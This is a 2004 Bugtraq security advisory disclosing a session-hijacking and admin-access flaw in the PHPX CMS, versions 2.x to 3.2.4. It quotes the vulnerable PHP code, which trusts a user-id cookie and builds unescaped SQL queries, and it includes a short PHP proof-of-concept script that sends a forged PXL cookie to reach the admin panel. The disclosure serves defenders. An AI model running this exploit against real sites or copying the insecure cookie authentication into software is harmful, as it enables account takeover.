Message-ID: <20040316211643.10048.qmail@www.securityfocus.com>
Date: 16 Mar 2004 21:16:43 -0000
From: <gdayworld@...mail.com>
To: bugtraq@...urityfocus.com
Subject: PHPX 2.x - 3.2.4




~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~
PHPX 3.2.4 (http://www.phpx.org)
~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~

Versions Affected: PHPX 2.x - 3.2.4
Type of bug: Session Hi-jacking/Admin Access (via Cookies)
Impact: Ability to steal another users account
Found-by: HelloWorld (Ryan Wray)
Vendor: Notified

Table Of Contents
=====================
1) The Program
2) The Problem
3) The Proof of Concept [PHP Code]
4) The Fix
5) Conclusion

1. The Program

"PHPX is a constantly evolving and changing Content Management System (CMS). PHPX is highly customizable and high powered all in one system. PHPX provides content management combined with the power of a portal by including in the core package modules such as FAQ, polls, and forums. PHPX uses dynamic-template-design, what this means is that you have the power to control what your site will look like. Themes are included, but not required. You can create the page however you want, and PHPX will just insert code where you want it. No more 3 columns if you don’t want it! Written in the powerful server language, PHP, and utilizing the amazingly fast and secure database MySQL, PHPX is a great solution for all size website communities, at the best price possible... free!" - Vendor's Description (http://www.phpx.org)

2. The Problem

PHPX fails to create a secure session management engine. A user can obtain a session by simply suppling a uid of the user in which they want to obtain the account from, and as long as their session is in the database, it will allow session hi-jacking to occur. Further-more it is concerning that the session id itself is generated by a simple auto increment field in the MySQL database, making it trivial for an attacker to steal a cookie.

The main code allowing the attacker steal a session is these 2 small sections:

phpxdir/includes/functions.inc.php
###################### CODE HERE ######################
function forumTracker(){

        if (!isset($_COOKIE[PXLF])){
            $last = time();
            $last = $this->getTime($last, 1);
            if (isset($_COOKIE[PXL])){
                $result = mysql_query("select sess_id from forums_session where user_id = '$_COOKIE[PXL]'");
                $count = mysql_num_rows($result);
                if ($count != 0){
                    list($cookie) = mysql_fetch_row($result);
                }
                else {
                    mysql_query("insert into forums_session (user_id, last) VALUES ('$_COOKIE[PXL]', '$last')");
                    $cookie = mysql_insert_id();
                }
            }
            else {
                mysql_query("insert into forums_session (user_id, last) VALUES ('0', '$last')");
                $cookie = mysql_insert_id();
            }
            setcookie("PXLF", $cookie, time() + 315360000, '', '', $this->ssl);
        }
        else {
            list($count) = mysql_fetch_row(mysql_query("select count(sess_id) from forums_session where sess_id = '$_COOKIE[PXLF]'"));
            if ($count == 1){
                $time = $this->getTime(time(), 1);
                list($last, $temp) = mysql_fetch_row(mysql_query("select last, temp from forums_session where sess_id = '$_COOKIE[PXLF]'"));
                if ($temp < $time){
                    $timeplus = $time + 900;
                    mysql_query("update forums_session set templast = '$last', temp = '$timeplus' where sess_id = '$_COOKIE[PXLF]'");
                }
                $last = $this->getTime($last, 1);
                mysql_query("update forums_session set last = '$time', user_id = '$_COOKIE[PXL]' where sess_id = '$_COOKIE[PXLF]'");
            }
            else {
                setcookie("PXLF", '', time() - 900, '', '', $this->ssl);
            }
        }
        if (isset($_GET['topic_id'])){ mysql_query("update forums_topics set reads = reads + 1 where topic_id = '$_GET[topic_id]'"); }
    }
#####################  /CODE HERE #####################

AND

phpxdir/admin/includes/auth.inc.php
###################### CODE HERE ######################
if (isset($_COOKIE["PXL"])){
    $userinfo = $core->findUserInfo($_COOKIE["PXL"]);
    if ($userinfo[6] == 1){ $core->logout($userinfo, "s"); }
    if ($userinfo[5] != 1){ $core->logout($userinfo, "a"); }
}
#####################  /CODE HERE #####################

The first allows the theft of any account. The second allows only the theft of an admin account -  for the use of the admins panel.

3. The Proof of Concept [PHP]

The proof of concept is coded in PHP, and allows someone to gain access to the PHPX admin panel:
###################### CODE HERE ######################
<?php
/* Proof of concept for exploiting PHPX 3.2.4 (http://www.phpx.org) */
/* Quick hack, not really an affective tool, only useful as a demonstration */
/* Written by HelloWorld - Ryan Wray */

/* Usage: php -q exploit_file.php <host> <port> <admin_folder_location> */
function usage()
{
    echo "Usage request";
}

function bytes_left($fp)
{
    $status=socket_get_status($fp);
    if($status['unread_bytes'] > 0) { return true; }
    return false;
}
print_r($_SERVER['argv']);
if($_SERVER['argc'] != 4)
{
    exit(usage());
}

// Attempt to connect to host.
$fp=@...ckopen($_SERVER['argv'][1],$_SERVER['argv'][2]);

if(!$fp)
{
    exit('Could not connect to host: '.$_SERVER['argv'][1].':'.$_SERVER['argv'][2]);
}

else
{
    fputs($fp,"GET ".$_SERVER['argv'][3]."index.php HTTP/1.1\r\n");
    fputs($fp,"Host: ".$_SERVER['argv'][1]."\r\n");
    fputs($fp,"Cookie: PXL=2\r\n\r\n");
}
// Start accepting data, otherwise socket_get_status will say there are 0 unread bytes.
echo fgets($fp,1024);
// While we can read.
while(bytes_left($fp))
{
    echo fgets($fp,1024);
}
// Close the socket.
fclose($fp);
?>
#####################  /CODE HERE #####################


3. The Fix

The vendor informs me that version 3.2.5 (latest) now has a more secure auth schema.

4. Conclusion

PHPX is a solid CMS besides it weak authorisation for users. It is Object Oriented and has some nice features, such as the option for SSL support. Hopefully it can correct any problems it has.

Thanks to the vendor for being quick to resond a react to the concern.

Shouts to: All who know me!

This vulneribility, advisory and proof of concept code was found/written by Ryan Wray (HelloWorld).

Powered by blists - more mailing lists